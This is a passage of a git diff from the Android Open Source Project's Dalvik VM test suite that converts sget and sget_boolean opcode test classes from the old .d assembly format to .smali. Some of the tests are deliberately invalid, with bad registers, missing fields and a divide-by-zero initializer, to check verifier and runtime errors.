-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v3, dot.junit.opcodes.sget.d.T_sget_3.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali
new file mode 100644
index 0000000..aeb66d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_3.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v3, Ldot/junit/opcodes/sget/d/T_sget_3;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.d
deleted file mode 100644
index 761c38f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_4.java
-.class public dot.junit.opcodes.sget.d.T_sget_4
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_4.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali
new file mode 100644
index 0000000..dad925f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_4.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_4;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.d
deleted file mode 100644
index 544f350..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_5.java
-.class public dot.junit.opcodes.sget.d.T_sget_5
-.super java/lang/Object
-
-.field public i1 I
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const/4 v2, 5
-       iput v2, v3, dot.junit.opcodes.sget.d.T_sget_5.i1 I
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_5.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali
new file mode 100644
index 0000000..798176d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_5.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_5;
+.super  Ljava/lang/Object;
+
+.field public i1:I
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 5
+       iput v2, v3, Ldot/junit/opcodes/sget/d/T_sget_5;->i1:I
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_5;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.d
deleted file mode 100644
index b78b202..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_6.java
-.class public dot.junit.opcodes.sget.d.T_sget_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.TestStubs.TestStubField I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali
new file mode 100644
index 0000000..922ba08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_6.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/TestStubs;->TestStubField:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.d
deleted file mode 100644
index 7423dcd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_7.java
-.class public dot.junit.opcodes.sget.d.T_sget_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_7no_class.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali
new file mode 100644
index 0000000..5cdbf94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_7.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_7no_class;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.d
deleted file mode 100644
index 915f609..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_8.java
-.class public dot.junit.opcodes.sget.d.T_sget_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_8.i1N I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali
new file mode 100644
index 0000000..17c433f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_8.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_8;->i1N:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.d
deleted file mode 100644
index 831c623..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.d
+++ /dev/null
@@ -1,52 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sget.d.StubInitError
-.super java/lang/Object
-
-.field public static value I
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       sput v1, dot.junit.opcodes.sget.d.StubInitError.value I
-       return-void
-.end method
-
-
-.source T_sget_9.java
-.class public dot.junit.opcodes.sget.d.T_sget_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.StubInitError.value I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..6bf6091
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:I
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput v1, Ldot/junit/opcodes/sget/d/StubInitError;->value:I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/T_sget_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/T_sget_9.smali
new file mode 100644
index 0000000..4e09fd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/T_sget_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget/d/T_sget_9;
+.super Ljava/lang/Object;
+.source "T_sget_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    sget v1, Ldot/junit/opcodes/sget/d/StubInitError;->value:I
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.d
deleted file mode 100644
index 1910152..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_1.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1
-.super java/lang/Object
-
-.field public static i1 Z
-.field protected static p1 Z
-.field private static pvt1 Z
-
-.method static <clinit>()V
-.limit regs 1
-       const/4 v0, 1
-       sput-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.i1 Z
-
-       const/16 v0, 1
-       sput-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.p1 Z
-
-       const/16 v0, 1
-       sput-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.pvt1 Z
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali
new file mode 100644
index 0000000..82e34ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_1.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+.field protected static p1:Z
+.field private static pvt1:Z
+
+.method static constructor <clinit>()V
+.registers 1
+       const/4 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->i1:Z
+
+       const/16 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->p1:Z
+
+       const/16 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->pvt1:Z
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.d
deleted file mode 100644
index a37791b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_11.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_11
-.super dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.p1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali
new file mode 100644
index 0000000..7b258fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_11.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_11;
+.super  Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->p1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.d
deleted file mode 100644
index a6d38b5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_12.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_12
-.super dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.pvt1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali
new file mode 100644
index 0000000..b85638a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_12.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_12;
+.super  Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->pvt1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.d
deleted file mode 100644
index f183859..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_13.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_13.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali
new file mode 100644
index 0000000..6645b10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_13.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_13;->i1:Z
+       return-void
+.end method
+
+
